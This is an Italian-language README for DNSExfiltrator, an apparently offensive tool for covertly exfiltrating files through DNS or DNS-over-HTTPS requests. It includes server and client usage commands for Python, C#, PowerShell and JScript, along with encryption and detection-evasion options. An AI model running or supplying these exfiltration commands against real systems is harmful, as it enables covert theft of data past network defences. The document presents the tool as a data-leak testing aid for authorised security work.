
Esfiltrazione di dati tramite canale nascosto di richieste DNS
Autore: Arno0x0x - @Arno0x0x
DNSExfiltrator permette di trasferire (esfiltrare) un file attraverso un canale nascosto di richieste DNS. Si tratta fondamentalmente di uno strumento di test per perdite di dati che consente di esfiltrare dati attraverso un canale nascosto.
DNSExfiltrator ha due lati:
dnsexfiltrator.py), che funge da server DNS personalizzato, ricevendo il filednsExfiltrator.cs: uno script C# che può essere compilato con csc.exe per creare un eseguibile Windows gestitoInvoke-DNSExfiltrator.ps1: uno script PowerShell che offre esattamente le stesse funzionalità incapsulando l'assembly dnsExfiltratordnsExfiltrator.js: uno script JScript che è una conversione della DLL assembly dnsExiltrator utilizzando DotNetToJScript, e che fornisce esattamente le stesse funzionalitàAffinché il tutto funzioni è necessario possedere un nome di dominio e impostare il record DNS (NS) per quel dominio in modo che punti al server che eseguirà il lato server dnsexfiltrator.py.
Per impostazione predefinita, DNSExfiltrator utilizza il server DNS definito dal sistema, ma è anche possibile impostarne uno specifico (utile per scopi di debug o per eseguire il lato server localmente, ad esempio).
In alternativa, utilizzando il parametro h, DNSExfiltrator può eseguire DoH (DNS su HTTP) utilizzando i server DoH di Google o CloudFlare.
Per impostazione predefinita, i dati da esfiltrare sono codificati in base64URL per adattarsi alle richieste DNS. Tuttavia, alcuni resolver DNS potrebbero rompere questa codifica (abbastanza giusto poiché i FQDN non sono previsti come case-sensitive) alterando la sensibilità al maiuscolo/minuscolo (maiuscolo o minuscolo), che è ovviamente importante per il processo di codifica/decodifica. Per ovviare a questo problema è possibile utilizzare il flag -b32 per forzare la codifica Base32 dei dati, che comporta un leggero aumento delle dimensioni. Se si utilizza CloudFlare DoH, la codifica base32 viene applicata automaticamente.
DNSExfiltrator supporta la cifratura RC4 di base dei dati esfiltrati, utilizzando la password fornita per cifrare/decifrare i dati.
DNSExfiltrator fornisce anche alcune funzionalità opzionali per evitare il rilevamento:
L'unica dipendenza è sul lato server, poiché lo script dnsexfiltrator.py si basa sulla libreria esterna dnslib. È possibile installarla usando pip:
pip install -r requirements.txt
LATO SERVER
Avviare lo script dnsexfiltrator.py passando il nome di dominio e la password di decifratura da utilizzare:
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password
LATO CLIENT
È possibile usare la versione compilata, oppure il wrapper PowerShell (che è sostanzialmente la stessa cosa) oppure il wrapper JScript. In ogni caso, i parametri sono gli stessi, con una leggera differenza nel modo di passarli in PowerShell.
1/ Utilizzo dell'eseguibile Windows compilato in C# (che puoi trovare nella directory release):
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
file: [OBBLIGATORIO] Il nome del file da esfiltrare.
domainName: [OBBLIGATORIO] Il nome di dominio da utilizzare per le richieste DNS.
password: [OBBLIGATORIO] Password utilizzata per cifrare i dati da esfiltrare.
-b32: [OPZIONALE] Utilizza la codifica base32 dei dati. Potrebbe essere richiesta da alcuni resolver DNS che alterano il case.
h: [OPZIONALE] Utilizza i server DoH (DNS su HTTP) di Google o CloudFlare.
DNS_Server: [OPZIONALE] Il nome o l'IP del server DNS da utilizzare per le richieste DNS. Per impostazione predefinita viene usato quello di sistema.
throttleTime: [OPZIONALE] Il tempo in millisecondi da attendere tra una richiesta DNS e l'altra.
requestMaxSize: [OPZIONALE] La dimensione massima in byte per ogni richiesta DNS. Per impostazione predefinita è 255 byte.
labelMaxSize: [OPZIONALE] La dimensione massima in caratteri per ogni etichetta (sottodominio) della richiesta DNS. Per impostazione predefinita è 63 caratteri.
2/ Utilizzo dello script PowerShell: richiamalo nel modo che preferisci (probabilmente conosci molti modi per invocare uno script powershell) insieme ai parametri dello script. Esempio base:
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]
Consulta la sezione ESEMPI nel file dello script per ulteriori esempi di utilizzo.

3/ Utilizzo dello script JScript: passa gli stessi argomenti che useresti con l'eseguibile Windows standalone:
cscript.exe dnsExiltrator.js inputFile mydomain.com password
Oppure, con alcune opzioni:
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500
Questo strumento è inteso per essere utilizzato solo in modo legale e legittimo:
Citando gli autori di Empire: Non esiste modo di costruire strumenti offensivi utili per l'industria legittima della sicurezza informatica impedendo contemporaneamente agli attori malintenzionati di abusarne.